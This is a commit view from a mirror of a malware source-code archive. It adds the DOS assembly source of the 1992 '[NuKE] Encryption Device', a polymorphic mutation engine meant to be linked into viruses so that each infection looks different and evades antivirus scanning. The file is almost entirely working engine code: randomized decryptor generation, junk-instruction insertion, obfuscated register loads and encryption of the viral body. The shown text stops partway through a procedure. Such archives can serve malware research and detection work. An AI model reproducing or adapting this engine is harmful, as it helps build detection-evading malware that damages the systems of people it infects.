mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
re-organize
push
This commit is contained in:
@@ -0,0 +1,958 @@
|
||||
;******************************************************************************
|
||||
; [NuKE] BETA TEST VERSION -- NOT FOR PUBLIC RELEASE!
|
||||
;
|
||||
; This product is not to be distributed to ANYONE without the complete and
|
||||
; total agreement of both the author(s) and [NuKE]. This applies to all
|
||||
; source code, executable code, documentation, and other files included in
|
||||
; this package.
|
||||
;
|
||||
; Unless otherwise specifically stated, even the mere existance of this
|
||||
; product is not to be mentioned to or discussed in any fashion with ANYONE,
|
||||
; except with the author(s) and/or other [NuKE] members.
|
||||
;
|
||||
; WARNING: This product has been marked in such a way that, if an
|
||||
; unauthorized copy is discovered ANYWHERE, the violation can be easily
|
||||
; traced back to its source, who will be located and punished.
|
||||
; YOU HAVE BEEN WARNED.
|
||||
;******************************************************************************
|
||||
|
||||
|
||||
;*******************************************************************************
|
||||
; The [NuKE] Encryption Device v0.90á
|
||||
;
|
||||
; (C) 1992 Nowhere Man and [NuKE] International Software Development Corp.
|
||||
; All Rights Reserved. Unauthorized use strictly prohibited.
|
||||
;
|
||||
;*******************************************************************************
|
||||
; Written by Nowhere Man
|
||||
; October 18, 1992
|
||||
; Version 0.90á
|
||||
;*******************************************************************************
|
||||
;
|
||||
; Synopsis: The [NuKE] Encryption Device (N.E.D.) is a polymorphic mutation
|
||||
; engine, along the lines of Dark Avenger's now-famous MtE.
|
||||
; Unlike MtE, however, N.E.D. can't be SCANned, and probably will
|
||||
; never be, either, since there is no reliable pattern between
|
||||
; mutations, and the engine itself (and its RNG) are always
|
||||
; kept encrypted.
|
||||
;
|
||||
; N.E.D. is easily be added to a virus. Every infection with
|
||||
; that virus will henceforth be completely different from all
|
||||
; others, and all will be unscannable, thanks to the Cryptex(C)
|
||||
; polymorphic mutation algorithm.
|
||||
;
|
||||
; N.E.D. only adds about 15 or so bytes of decryption code
|
||||
; (probably more, depending on which options are enabled), plus
|
||||
; the 1355 byte overhead needed for the engine itself (about half
|
||||
; the size of MtE!).
|
||||
;*******************************************************************************
|
||||
|
||||
|
||||
;*******************************************************************************
|
||||
; Segment declarations
|
||||
;*******************************************************************************
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
|
||||
|
||||
;*******************************************************************************
|
||||
; Equates used to save three bytes of code (was it worth it?)
|
||||
;*******************************************************************************
|
||||
|
||||
load_point equ si + _load_point - ned_start
|
||||
encr_instr equ si + _encr_instr - ned_start
|
||||
store_point equ si + _store_point - ned_start
|
||||
|
||||
buf_ptr equ si + _buf_ptr - ned_start
|
||||
copy_len equ si + _copy_len - ned_start
|
||||
copy_off equ si + _copy_off - ned_start
|
||||
v_start equ si + _v_start - ned_start
|
||||
options equ si + _options - ned_start
|
||||
|
||||
byte_word equ si + _byte_word - ned_start
|
||||
up_down equ si + _up_down - ned_start
|
||||
mem_reg equ si + _mem_reg - ned_start
|
||||
loop_reg equ si + _loop_reg - ned_start
|
||||
key_reg equ si + _key_reg - ned_start
|
||||
|
||||
mem_otr equ si + _mem_otr - ned_start
|
||||
used_it equ si + _used_it - ned_start
|
||||
jump_here equ si + _jump_here - ned_start
|
||||
adj_here equ si + _adj_here - ned_start
|
||||
|
||||
word_adj_table equ si + _word_adj_table - ned_start
|
||||
byte_adj_table equ si + _byte_adj_table - ned_start
|
||||
|
||||
the_key equ si + _the_key - ned_start
|
||||
|
||||
crypt_type equ si + _crypt_type - ned_start
|
||||
op_byte equ si + _op_byte - ned_start
|
||||
rev_op_byte equ si + _rev_op_byte - ned_start
|
||||
modr_m equ si + _modr_m - ned_start
|
||||
|
||||
dummy_word_cmd equ si + _dummy_word_cmd - ned_start
|
||||
dummy_three_cmd equ si + _dummy_three_cmd - ned_start
|
||||
|
||||
tmp_jmp_store equ si + _tmp_jmp_store - ned_start
|
||||
jump_table equ si + _jump_table - ned_start
|
||||
|
||||
rand_val equ si + _rand_val - ned_start
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; Publics
|
||||
;******************************************************************************
|
||||
|
||||
public nuke_enc_dev
|
||||
public ned_end
|
||||
|
||||
|
||||
|
||||
;*******************************************************************************
|
||||
; [NuKE] Encryption Device begins here....
|
||||
;*******************************************************************************
|
||||
|
||||
ned_begin label near ; Start of the N.E.D.'s code
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; nuke_enc_dev
|
||||
;
|
||||
; This procedure merely calls ned_main.
|
||||
;
|
||||
; Arguments: Same as ned_main; this is a shell procedure
|
||||
;
|
||||
; Returns: Same as ned_main; this is a shell procedure
|
||||
;******************************************************************************
|
||||
|
||||
nuke_enc_dev proc near
|
||||
public nuke_enc_dev ; Name in .OBJs and .LIBs
|
||||
|
||||
push bx ;
|
||||
push cx ;
|
||||
push dx ; Preserve registers
|
||||
push si ; (except for AX, which is
|
||||
push di ; used to return something)
|
||||
push bp ;
|
||||
|
||||
call ned_main ; Call the [NuKE] Encryption
|
||||
; Device, in all it's splendor
|
||||
|
||||
pop bp ;
|
||||
pop di ;
|
||||
pop si ;
|
||||
pop dx ; Restore registers
|
||||
pop cx ;
|
||||
pop bx ;
|
||||
|
||||
ret ; Return to the main virus
|
||||
|
||||
|
||||
; This the copyright message (hey, I wrote the thing, so I can waste a few
|
||||
; bytes bragging...).
|
||||
|
||||
copyright db 13,10
|
||||
db "[NuKE] Encryption Device v0.90á",13,10
|
||||
db "(C) 1992 Nowhere Man and [NuKE]",13,10,0
|
||||
nuke_enc_dev endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; ned_main
|
||||
;
|
||||
; Fills a buffer with a random decryption routine and encrypted viral code.
|
||||
;
|
||||
; Arguments: AX = offset of buffer to hold data
|
||||
; BX = offset of code start
|
||||
; CX = offset of the virus in memory (next time around!)
|
||||
; DX = length of code to copy and encrypt
|
||||
; SI = options:
|
||||
; bit 0: dummy instructions
|
||||
; bit 1: MOV variance
|
||||
; bit 2: ADD/SUB substitution
|
||||
; bit 3: garbage code
|
||||
; bit 4: don't assume DS = CS
|
||||
; bits 5-15: reserved
|
||||
;
|
||||
; Returns: AX = size of generated decryption routine and encrypted code
|
||||
;******************************************************************************
|
||||
|
||||
ned_main proc near
|
||||
mov di,si ; We'll need SI, so use DI
|
||||
not di ; Reverse all bits for TESTs
|
||||
|
||||
call ned_start ; Ah, the old virus trick
|
||||
ned_start: pop si ; for getting our offset...
|
||||
|
||||
mov word ptr [used_it],0 ; A truely hideous way to
|
||||
mov word ptr [used_it + 2],0; reset the register usage
|
||||
mov word ptr [used_it + 4],0; flags...
|
||||
mov byte ptr [used_it + 6],0;
|
||||
|
||||
add dx,ned_end - ned_begin ; Be sure to encrypt ourself!
|
||||
|
||||
mov word ptr [buf_ptr],ax ; Save the function
|
||||
mov word ptr [copy_off],bx ; arguments in an
|
||||
mov word ptr [v_start],cx ; internal buffer
|
||||
mov word ptr [copy_len],dx ; for later use
|
||||
mov word ptr [options],di ;
|
||||
|
||||
xchg di,ax ; Need the buffer offset in DI
|
||||
|
||||
mov ax,2 ; Select a random number
|
||||
call rand_num ; between 0 and 1
|
||||
mov word ptr [byte_word],ax ; Save byte/word flag
|
||||
|
||||
mov ax,2 ; Select another random number
|
||||
call rand_num ; between 0 and 1
|
||||
xor ax,ax ; !!!!DELETE ME!!!!
|
||||
mov word ptr [up_down],ax ; Save up/down flag
|
||||
|
||||
mov ax,4 ; Select a random number
|
||||
call rand_num ; between 0 and 3
|
||||
mov word ptr [mem_reg],ax ; Save memory register
|
||||
xchg bx,ax ; Place in BX for indexing
|
||||
shl bx,1 ; Convert to word index
|
||||
mov bx,word ptr [mem_otr + bx] ; Get register number
|
||||
inc byte ptr [used_it + bx] ; Cross off register
|
||||
|
||||
xor cx,cx ; We need a word register
|
||||
call random_reg ; Get a random register
|
||||
inc byte ptr [used_it + bx] ; Cross it off...
|
||||
mov word ptr [loop_reg],ax ; Save loop register
|
||||
|
||||
mov ax,2 ; Select a random number
|
||||
call rand_num ; between 0 and 1
|
||||
or ax,ax ; Does AX = 0?
|
||||
je embedded_key ; If so, the key's embedded
|
||||
mov cx,word ptr [byte_word] ; CX holds the byte word flag
|
||||
neg cx ; By NEGating CX and adding one
|
||||
inc cx ; CX will be flip-flopped
|
||||
call random_reg ; Get a random register
|
||||
inc byte ptr [used_it + bx] ; Cross it off...
|
||||
mov word ptr [key_reg],ax ; Save key register
|
||||
jmp short create_routine ; Ok, let's get to it!
|
||||
embedded_key: mov word ptr [key_reg],-1 ; Set embedded key flag
|
||||
|
||||
create_routine: call add_nop ; Add a do-nothing instruction?
|
||||
mov ax,2 ; Select a random number
|
||||
call rand_num ; between 0 and 1
|
||||
or ax,ax ; Does AX = 0?
|
||||
je pointer_first ; If so, load pointer then count
|
||||
call load_count ; Load start register
|
||||
call add_nop ; Add a do-nothing instruction?
|
||||
call load_pointer ; Load pointer register
|
||||
jmp short else_end1 ; Skip the ELSE part
|
||||
pointer_first: call load_pointer ; Load start register
|
||||
call add_nop ; Add a do-nothing instruction?
|
||||
call load_count ; Load count register
|
||||
else_end1: call add_nop ; Add a do-nothing instruction?
|
||||
call load_key ; Load encryption key
|
||||
call add_nop ; Add a do-nothing instruction?
|
||||
mov word ptr [jump_here],di ; Save the offset of the loop
|
||||
call add_decrypt ; Create the decryption code
|
||||
call add_nop ; Add a do-nothing instruction?
|
||||
call adjust_ptr ; Adjust the memory pointer
|
||||
call add_nop ; Add a do-nothing instruction?
|
||||
call end_loop ; End the decryption loop
|
||||
call random_fill ; Pad with random bullshit?
|
||||
|
||||
mov ax,di ; AX points to our current place
|
||||
sub ax,word ptr [buf_ptr] ; AX now holds # bytes written
|
||||
|
||||
mov bx,word ptr [adj_here] ; Find where we need to adjust
|
||||
add word ptr [bx],ax ; Adjust the starting offset
|
||||
|
||||
add ax,word ptr [copy_len] ; Add length of encrypted code
|
||||
push ax ; Save this for later
|
||||
|
||||
mov bx,word ptr [crypt_type]; BX holds encryption type
|
||||
mov bl,byte ptr [rev_op_byte + bx] ; Load encryption byte
|
||||
mov bh,0D8h ; Fix a strange problem...
|
||||
mov word ptr [encr_instr],bx; Save it into our routine
|
||||
|
||||
mov cx,word ptr [copy_len] ; CX holds # of bytes to encrypt
|
||||
cmp word ptr [byte_word],0 ; Are we doing it by bytes?
|
||||
je final_byte_k ; If so, reset LODS/STOS stuff
|
||||
mov byte ptr [load_point],0ADh ; Change it to a LODSW
|
||||
mov byte ptr [store_point],0ABh ; Change it to a STOSW
|
||||
shr cx,1 ; Do half as many repetitions
|
||||
mov bx,word ptr [the_key] ; Reload the key
|
||||
inc byte ptr [encr_instr] ; Fix up for words...
|
||||
jmp short encrypt_virus ; Let's go!
|
||||
final_byte_k: mov byte ptr [load_point],0ACh ; Change it to a LODSW
|
||||
mov byte ptr [store_point],0AAh ; Change it to a STOSW
|
||||
mov bl,byte ptr [the_key] ; Ok, so I did this poorly...
|
||||
|
||||
encrypt_virus: mov si,word ptr [copy_off] ; SI points to the original code
|
||||
|
||||
|
||||
; This portion of the code is self-modifying. It may be bad style, but
|
||||
; it's far more efficient than writing six or so different routines...
|
||||
|
||||
_load_point: lodsb ; Load a byte/word into AL
|
||||
_encr_instr: xor al,bl ; Encrypt the byte/word
|
||||
_store_point: stosb ; Store the byte/word at ES:[DI]
|
||||
loop _load_point ; Repeat until all bytes done
|
||||
|
||||
; Ok, we're through... back to normal
|
||||
|
||||
|
||||
pop ax ; AX holds routine length
|
||||
|
||||
ret ; Return to caller
|
||||
|
||||
_buf_ptr dw ? ; Pointer: storage buffer
|
||||
_copy_len dw ? ; Integer: # bytes to copy
|
||||
_copy_off dw ? ; Pointer: original code
|
||||
_v_start dw ? ; Pointer: virus start in file
|
||||
_options dw ? ; Integer: bits set options
|
||||
|
||||
_byte_word dw ? ; Boolean: 0 = byte, 1 = word
|
||||
_up_down dw ? ; Boolean: 0 = up, 1 = down
|
||||
_mem_reg dw ? ; Integer: 0-4 (SI, DI, BX, BP)
|
||||
_loop_reg dw ? ; Integer: 0-6 (AX, BX, etc.)
|
||||
_key_reg dw ? ; Integer: -1 = internal
|
||||
|
||||
_mem_otr dw 4,5,1,6 ; Array: Register # for mem_reg
|
||||
_used_it db 7 dup (0) ; Array: 0 = unused, 1 = used
|
||||
_jump_here dw ? ; Pointer: Start of loop
|
||||
_adj_here dw ? ; Pointer: Where to adjust
|
||||
ned_main endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; load_count
|
||||
;
|
||||
; Adds code to load the count register, which stores the number of
|
||||
; iterations that the decryption loop must make. if _byte_word = 0
|
||||
; then this value is equal to the size of the code to be encrypted;
|
||||
; if _byte_word = 1 (increment by words), it is half that length
|
||||
; (since two bytes are decrypted at a time).
|
||||
;
|
||||
; Arguments: SI = offset of ned_start
|
||||
; DI = offset of storage buffer
|
||||
;
|
||||
; Returns: None
|
||||
;******************************************************************************
|
||||
|
||||
load_count proc near
|
||||
mov bx,word ptr [loop_reg] ; BX holds register number
|
||||
mov dx,word ptr [copy_len] ; DX holds size of virus
|
||||
mov cx,word ptr [byte_word] ; Neat trick to divide by
|
||||
shr dx,cl ; two if byte_word = 1
|
||||
mov cx,1 ; We're doing a word register
|
||||
call gen_mov ; Generate a move
|
||||
ret ; Return to caller
|
||||
|
||||
_word_adj_table db 00h, 03h, 01h, 02h, 06h, 07h, 05h ; Array: ModR/M adj.
|
||||
_byte_adj_table db 04h, 00h, 07h, 03h, 05h, 01h, 06h, 02h ; Array ""/byte
|
||||
load_count endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; load_pointer
|
||||
;
|
||||
; Adds code to load the pointer register, which points to the byte
|
||||
; or word of memory that is to be encrypted. Due to the flaws of
|
||||
; 8086 assembly language, only the SI, DI, BX, and BP registers may
|
||||
; be used.
|
||||
;
|
||||
; Arguments: SI = offset of ned_start
|
||||
; DI = offset of storage buffer
|
||||
;******************************************************************************
|
||||
|
||||
load_pointer proc near
|
||||
mov bx,word ptr [mem_reg] ; BX holds register number
|
||||
shl bx,1 ; Convert to word index
|
||||
mov bx,word ptr [mem_otr + bx] ; Convert register number
|
||||
mov al,byte ptr [word_adj_table + bx] ; Table look-up
|
||||
add al,0B8h ; Create a MOV instruction
|
||||
stosb ; Store it in the code
|
||||
mov word ptr [adj_here],di ; Save our current offset
|
||||
mov ax,word ptr [v_start] ; AX points to virus (in host)
|
||||
cmp word ptr [up_down],0 ; Are we going upwards?
|
||||
je no_adjust ; If so, no ajustment needed
|
||||
add ax,word ptr [copy_len] ; Point to end of virus
|
||||
no_adjust: stosw ; Store the start offset
|
||||
ret ; Return to caller
|
||||
load_pointer endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; load_key
|
||||
;
|
||||
; Adds code to load the encryption key into a register. If _byte_word = 0
|
||||
; a 8-bit key is used; if it is 1 then a 16-bit key is used. If the key
|
||||
; is supposed to be embedded, no code is generated at this point.
|
||||
;
|
||||
; Arguments: SI = offset of ned_start
|
||||
; DI = offset of storage buffer
|
||||
;
|
||||
; Returns: None
|
||||
;******************************************************************************
|
||||
|
||||
load_key proc near
|
||||
mov ax,0FFFFh ; Select a random number
|
||||
call rand_num ; between 0 and 65534
|
||||
inc ax ; Eliminate any null keys
|
||||
mov word ptr [the_key],ax ; Save key for later
|
||||
mov bx,word ptr [key_reg] ; DX holds the register number
|
||||
cmp bx,-1 ; Is the key embedded?
|
||||
je blow_this_proc ; If so, just leave now
|
||||
xchg dx,ax ; DX holds key
|
||||
mov cx,word ptr [byte_word] ; CX holds byte/word flag
|
||||
call gen_mov ; Load the key into the register
|
||||
blow_this_proc: ret ; Return to caller
|
||||
|
||||
_the_key dw ? ; Integer: The encryption key
|
||||
load_key endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; add_decrypt
|
||||
;
|
||||
; Adds code to dencrypt a byte or word (pointed to by the pointer register)
|
||||
; by either a byte or word register or a fixed byte or word.
|
||||
;
|
||||
; Arguments: SI = offset of ned_start
|
||||
; DI = offset of storage buffer
|
||||
;
|
||||
; Returns: None
|
||||
;******************************************************************************
|
||||
|
||||
add_decrypt proc near
|
||||
test word ptr [options],010000b ; Do we need a CS: override
|
||||
jne no_override ; If not, don't add it...
|
||||
mov al,02Eh ; Store a code-segment
|
||||
stosb ; override instruction (CS:)
|
||||
no_override: mov ax,3 ; Select a random number
|
||||
call rand_num ; between 0 and 2
|
||||
mov word ptr [crypt_type],ax; Save encryption type
|
||||
xchg bx,ax ; Now transfer it into BX
|
||||
mov ax,word ptr [byte_word] ; 0 if byte, 1 if word
|
||||
cmp word ptr [key_reg],-1 ; Is the key embedded?
|
||||
je second_case ; If so, it's a different story
|
||||
|
||||
add al,byte ptr [op_byte + bx] ; Adjust by operation type
|
||||
stosb ; Place the byte in the code
|
||||
|
||||
mov ax,word ptr [mem_reg] ; AX holds register number
|
||||
mov cl,3 ; To get the ModR/M table
|
||||
shl ax,cl ; offset, multiply by eight
|
||||
mov bx,word ptr [key_reg] ; BX holds key register number
|
||||
cmp word ptr [byte_word],0 ; Is this a byte?
|
||||
je byte_by_reg ; If so, special case
|
||||
mov bl,byte ptr [word_adj_table + bx] ; Create ModR/M
|
||||
jmp short store_it_now ; Now save the byte
|
||||
byte_by_reg: mov bl,byte ptr [byte_adj_table + bx] ; Create ModR/M
|
||||
store_it_now: xor bh,bh ; Clear out any old data
|
||||
add bx,ax ; Add the first index
|
||||
mov al,byte ptr [modr_m + bx] ; Table look-up
|
||||
stosb ; Save it into the code
|
||||
cmp word ptr [mem_reg],3 ; Are we using BP?
|
||||
jne a_d_exit1 ; If not, leave
|
||||
xor al,al ; For some dumb reason we'll
|
||||
stosb ; have to specify a 0 adjustment
|
||||
a_d_exit1: ret ; Return to caller
|
||||
|
||||
|
||||
second_case: add al,080h ; Create the first byte
|
||||
stosb ; and store it in the code
|
||||
|
||||
mov al,byte ptr [op_byte + bx] ; Load up the OP byte
|
||||
mov bx,word ptr [mem_reg] ; BX holds register number
|
||||
mov cl,3 ; To get the ModR/M table
|
||||
shl bx,cl ; offset, multiply by eight
|
||||
add al,byte ptr [modr_m + bx] ; Add result of table look-up
|
||||
stosb ; Save it into the code
|
||||
cmp word ptr [mem_reg],3 ; Are we using BP?
|
||||
jne store_key ; If not, store the key
|
||||
xor al,al ; For some dumb reason we'll
|
||||
stosb ; have to specify a 0 adjustment
|
||||
store_key: cmp word ptr [byte_word],0 ; Is this a byte?
|
||||
je byte_by_byte ; If so, special case
|
||||
mov ax,word ptr [the_key] ; Load up *the key*
|
||||
stosw ; Save the whole two bytes!
|
||||
jmp short a_d_exit2 ; Let's split, man
|
||||
byte_by_byte: mov al,byte ptr [the_key] ; Load up *the key*
|
||||
stosb ; Save it into the code
|
||||
a_d_exit2: ret ; Return to caller
|
||||
|
||||
_crypt_type dw ? ; Integer: Type of encryption
|
||||
_op_byte db 030h,000h,028h ; Array: OP byte of instruction
|
||||
_rev_op_byte db 030h,028h,000h ; Array: Reverse OP byte of ""
|
||||
_modr_m db 004h, 00Ch, 014h, 01Ch, 024h, 02Ch, 034h, 03Ch ; SI
|
||||
db 005h, 00Dh, 015h, 01Dh, 025h, 02Dh, 035h, 03Dh ; DI
|
||||
db 007h, 00Fh, 017h, 01Fh, 027h, 02Fh, 037h, 03Fh ; BX
|
||||
db 046h, 04Eh, 056h, 05Eh, 066h, 06Eh, 076h, 07Eh ; BP
|
||||
add_decrypt endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; adjust_ptr
|
||||
;
|
||||
; Adds code to adjust the memory pointer. There are two possible choices:
|
||||
; INC/DEC and ADD/SUB (inefficient, but provides variation).
|
||||
;
|
||||
; Arguments: SI = offset of ned_start
|
||||
; DI = offset of storage buffer
|
||||
;
|
||||
; Returns: None
|
||||
;******************************************************************************
|
||||
|
||||
adjust_ptr proc near
|
||||
mov cx,word ptr [byte_word] ; CX holds byte/word flag
|
||||
inc cx ; Increment; now # INCs/DECs
|
||||
mov bx,word ptr [mem_reg] ; BX holds register number
|
||||
shl bx,1 ; Convert to word index
|
||||
mov bx,word ptr [mem_otr + bx] ; Convert register number
|
||||
mov dx,word ptr [up_down] ; DX holds up/down flag
|
||||
call gen_add_sub ; Create code to adjust pointer
|
||||
ret ; Return to caller
|
||||
adjust_ptr endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; end_loop
|
||||
;
|
||||
; Adds code to adjust the count variable, test to see if it's zero,
|
||||
; and repeat the decryption loop if it is not. There are three possible
|
||||
; choices: LOOP (only if the count register is CX), SUB/JNE (inefficient,
|
||||
; but provides variation), and DEC/JNE (best choice for non-CX registers).
|
||||
;
|
||||
; Arguments: SI = offset of ned_start
|
||||
; DI = offset of storage buffer
|
||||
;
|
||||
; Returns: None
|
||||
;******************************************************************************
|
||||
|
||||
end_loop proc near
|
||||
mov bx,word ptr [loop_reg] ; BX holds register number
|
||||
cmp bx,2 ; Are we using CX?
|
||||
jne dec_jne ; If not, we can't use LOOP
|
||||
mov ax,2 ; Select a random number
|
||||
call rand_num ; between 0 and 1
|
||||
or ax,ax ; Does AX = 0?
|
||||
jne dec_jne ; If not, standard ending
|
||||
mov al,0E2h ; We'll do a LOOP instead
|
||||
stosb ; Save the OP byte
|
||||
jmp short store_jmp_loc ; Ok, now find the offset
|
||||
dec_jne: mov cx,1 ; Only adjust by one
|
||||
mov dx,1 ; We're subtracting...
|
||||
call gen_add_sub ; Create code to adjust count
|
||||
mov al,075h ; We'll do a JNE to save
|
||||
stosb ; Store a JNE OP byte
|
||||
store_jmp_loc: mov ax,word ptr [jump_here] ; Find old offset
|
||||
sub ax,di ; Adjust relative jump
|
||||
dec ax ; Adjust by one (DI is off)
|
||||
stosb ; Save the jump offset
|
||||
ret ; Return to caller
|
||||
end_loop endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; add_nop
|
||||
;
|
||||
; Adds between 0 and 3 do-nothing instructions to the code, if they are
|
||||
; allowed by the user (bit 0 set).
|
||||
;
|
||||
; Arguments: SI = offset of ned_start
|
||||
; DI = offset of storage buffer
|
||||
;
|
||||
; Returns: None
|
||||
;******************************************************************************
|
||||
|
||||
add_nop proc near
|
||||
push ax ; Save AX
|
||||
push bx ; Save BX
|
||||
push cx ; Save CX
|
||||
|
||||
test word ptr [options],0001b; Are we allowing these?
|
||||
jne outta_here ; If not, don't add 'em
|
||||
mov ax,2 ; Select a random number
|
||||
call rand_num ; between 0 and 1
|
||||
or ax,ax ; Does AX = 0?
|
||||
je outta_here ; If so, don't add any NOPs...
|
||||
mov ax,4 ; Select a random number
|
||||
call rand_num ; between 0 and 3
|
||||
xchg cx,ax ; CX holds repetitions
|
||||
jcxz outta_here ; CX = 0? Split...
|
||||
add_nop_loop: mov ax,4 ; Select a random number
|
||||
call rand_num ; between 0 and 3
|
||||
or ax,ax ; Does AX = 0?
|
||||
je two_byter ; If so, a two-byte instruction
|
||||
cmp ax,1 ; Does AX = 1?
|
||||
je three_byter ; If so, a three-byte instruction
|
||||
mov al,090h ; We'll do a NOP instead
|
||||
stosb ; Store it in the code
|
||||
jmp short loop_point ; Complete the loop
|
||||
two_byter: mov ax,34 ; Select a random number
|
||||
call rand_num ; between 0 and 33
|
||||
xchg bx,ax ; Place in BX for indexing
|
||||
shl bx,1 ; Convert to word index
|
||||
mov ax,word ptr [dummy_word_cmd + bx] ; Get dummy command
|
||||
stosw ; Save it in the code...
|
||||
jmp short loop_point ; Complete the loop
|
||||
three_byter: mov ax,16 ; Select a random number
|
||||
call rand_num ; between 0 and 15
|
||||
mov bx,ax ; Place in BX for indexing
|
||||
shl bx,1 ; Convert to word index
|
||||
add bx,ax ; Add back value (BX = BX * 3)
|
||||
mov ax,word ptr [dummy_three_cmd + bx] ; Get dummy command
|
||||
stosw ; Save it in the code...
|
||||
mov al,byte ptr [dummy_three_cmd + bx + 2]
|
||||
stosb ; Save the final byte, too
|
||||
loop_point: loop add_nop_loop ; Repeat 0-2 more times
|
||||
outta_here: pop cx ; Restore CX
|
||||
pop bx ; Restore BX
|
||||
pop ax ; Restore AX
|
||||
ret ; Return to caller
|
||||
|
||||
_dummy_word_cmd: ; Useless instructions,
|
||||
; two bytes each
|
||||
mov ax,ax
|
||||
mov bx,bx
|
||||
mov cx,cx
|
||||
mov dx,dx
|
||||
mov si,si
|
||||
mov di,di
|
||||
mov bp,bp
|
||||
xchg bx,bx
|
||||
xchg cx,cx
|
||||
xchg dx,dx
|
||||
xchg si,si
|
||||
xchg di,di
|
||||
xchg bp,bp
|
||||
nop
|
||||
nop
|
||||
inc ax
|
||||
dec ax
|
||||
inc bx
|
||||
dec bx
|
||||
inc cx
|
||||
dec cx
|
||||
inc dx
|
||||
dec dx
|
||||
inc si
|
||||
dec si
|
||||
inc di
|
||||
dec di
|
||||
inc bp
|
||||
dec bp
|
||||
cmc
|
||||
cmc
|
||||
jmp short $ + 2
|
||||
je $ + 2
|
||||
jne $ + 2
|
||||
jg $ + 2
|
||||
jge $ + 2
|
||||
jl $ + 2
|
||||
jle $ + 2
|
||||
jo $ + 2
|
||||
jpe $ + 2
|
||||
jpo $ + 2
|
||||
js $ + 2
|
||||
jcxz $ + 2
|
||||
|
||||
|
||||
_dummy_three_cmd: ; Useless instructions,
|
||||
; three bytes each
|
||||
xor ax,0
|
||||
or ax,0
|
||||
add ax,0
|
||||
add bx,0
|
||||
add cx,0
|
||||
add dx,0
|
||||
add si,0
|
||||
add di,0
|
||||
add bp,0
|
||||
sub ax,0
|
||||
sub bx,0
|
||||
sub cx,0
|
||||
sub dx,0
|
||||
sub si,0
|
||||
sub di,0
|
||||
sub bp,0
|
||||
add_nop endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; gen_mov
|
||||
;
|
||||
; Adds code to load a register with a value. If MOV variance is enabled,
|
||||
; inefficient, sometimes strange, methods may be used; if it is disabled,
|
||||
; a standard MOV is used (wow). Various alternate load methods include
|
||||
; loading a larger value then subtracting the difference, loading a
|
||||
; smaller value the adding the difference, loading an XORd value then
|
||||
; XORing it by a key that will correct the difference, loading an incorrect
|
||||
; value and NEGating or NOTing it to correctness, and loading a false
|
||||
; value then loading the correct one.
|
||||
;
|
||||
; Arguments: BX = register number
|
||||
; CX = 0 for byte register, 1 for word register
|
||||
; DX = value to store
|
||||
; SI = offset of ned_start
|
||||
; DI = offset of storage buffer
|
||||
;
|
||||
; Returns: None
|
||||
;******************************************************************************
|
||||
|
||||
gen_mov proc
|
||||
test word ptr [options],0010b; Do we allow wierd moves?
|
||||
je quick_fixup ; If so, short jump over JMP
|
||||
jmp make_mov ; If not, standard MOV
|
||||
quick_fixup: jcxz byte_index_0 ; If we're doing a byte, index
|
||||
mov bl,byte ptr [word_adj_table + bx] ; Table look-up
|
||||
jmp short get_rnd_num ; Ok, get a random number now
|
||||
byte_index_0: mov bl,byte ptr [byte_adj_table + bx] ; Table look-up
|
||||
get_rnd_num: mov ax,7 ; Select a random number
|
||||
call rand_num ; between 0 and 6
|
||||
shl ax,1 ; Convert AX into word index
|
||||
lea bp,word ptr [jump_table] ; BP points to jump table
|
||||
add bp,ax ; BP now points to the offset
|
||||
mov ax,word ptr [bp] ; AX holds the jump offset
|
||||
add ax,si ; Adjust by our own offset
|
||||
mov word ptr [tmp_jmp_store],ax ; Store in scratch variable
|
||||
mov ax,0FFFFh ; Select a random number
|
||||
call rand_num ; between 0 and 65564
|
||||
xchg bp,ax ; Place random number in BP
|
||||
jmp word ptr [tmp_jmp_store]; JuMP to a load routine!
|
||||
load_move: xchg dx,bp ; Swap DX and BP
|
||||
call make_mov ; Load BP (random) in register
|
||||
call add_nop ; Add a do-nothing instruction?
|
||||
xchg dx,bp ; DX now holds real value
|
||||
jmp short make_mov ; Load real value in reigster
|
||||
load_sub: add dx,bp ; Add random value to load value
|
||||
call make_mov ; Create a MOV instruction
|
||||
call add_nop ; Add a do-nothing instruction?
|
||||
mov ah,0E8h ; We're doing a SUB
|
||||
jmp short make_add_sub ; Create the SUB instruction
|
||||
load_add: sub dx,bp ; Sub. random from load value
|
||||
call make_mov ; Create a MOV instruction
|
||||
call add_nop ; Add a do-nothing instruction?
|
||||
mov ah,0C0h ; We're doing an ADD
|
||||
jmp short make_add_sub ; Create the ADD instruction
|
||||
load_xor: xor dx,bp ; XOR load value by random
|
||||
call make_mov ; Create a MOV instruction
|
||||
call add_nop ; Add a do-nothing instruction?
|
||||
mov ah,0F0h ; We're doing an XOR
|
||||
jmp short make_add_sub ; Create the XOR instruction
|
||||
load_not: not dx ; Two's-compliment DX
|
||||
call make_mov ; Create a MOV instruction
|
||||
call add_nop ; Add a do-nothing instruction?
|
||||
load_not2: mov al,0F6h ; We're doing a NOT/NEG
|
||||
add al,cl ; If it's a word, add one
|
||||
stosb ; Store the byte
|
||||
mov al,0D0h ; Initialize the ModR/M byte
|
||||
add al,bl ; Add back the register info
|
||||
stosb ; Store the byte
|
||||
ret ; Return to caller
|
||||
load_neg: neg dx ; One's-compliment DX
|
||||
call make_mov ; Create a MOV instruction
|
||||
add bl,08h ; Change the NOT into a NEG
|
||||
jmp short load_not2 ; Reuse the above code
|
||||
|
||||
make_mov: mov al,0B0h ; Assume it's a byte for now
|
||||
add al,bl ; Adjust by register ModR/M
|
||||
jcxz store_mov ; If we're doing a byte, go on
|
||||
add al,008h ; Otherwise, adjust for word
|
||||
store_mov: stosb ; Store the OP byte
|
||||
mov ax,dx ; AX holds the load value
|
||||
put_byte_or_wd: jcxz store_byte ; If it's a byte, store it
|
||||
stosw ; Otherwise store a whole word
|
||||
ret ; Return to caller
|
||||
store_byte: stosb ; Store the byte in the code
|
||||
ret ; Return to caller
|
||||
|
||||
make_add_sub: mov al,080h ; Create the OP byte
|
||||
